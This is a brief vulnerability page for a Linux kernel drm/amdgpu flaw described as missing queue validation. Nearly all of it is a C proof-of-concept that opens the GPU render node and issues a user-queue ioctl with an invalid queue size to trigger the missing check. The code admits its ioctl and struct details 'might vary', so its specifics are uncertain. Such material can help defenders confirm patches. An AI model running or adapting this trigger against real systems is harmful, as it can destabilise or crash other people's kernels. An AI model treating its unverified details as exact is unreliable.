CVE-2026-43195 Linux内核drm/amdgpu队列验证缺失

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <drm/amdgpu_drm.h> // PoC for CVE-2026-43195 // This PoC attempts to create a user queue with an invalid size (not a power of two). // Compile: gcc -o poc_cve2026_43195 poc_cve2026_43195.c -I/usr/include/libdrm int main() { int fd = -1; struct drm_amdgpu_user_queue args; // Open the DRM device (render node preferred) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } memset(&args, 0, sizeof(args)); // Set an invalid queue size (e.g., 3, which is not a power of 2) // Hardware requires power of 2 and >= PAGE_SIZE usually. args.queue_size = 3; args.flags = AMDGPU_USER_QUEUE_MODE_IP_DISPATCH; // Example flag // Issue the IOCTL to create the queue // Note: The actual IOCTL number and struct might vary based on kernel version // and specific backport of the feature. int ret = ioctl(fd, DRM_IOCTL_AMDGPU_USER_QUEUE, &args); if (ret == 0) { printf("[!] IOCTL succeeded, vulnerability might be triggered or validation missing.\n"); } else { perror("IOCTL failed"); } close(fd); return 0; }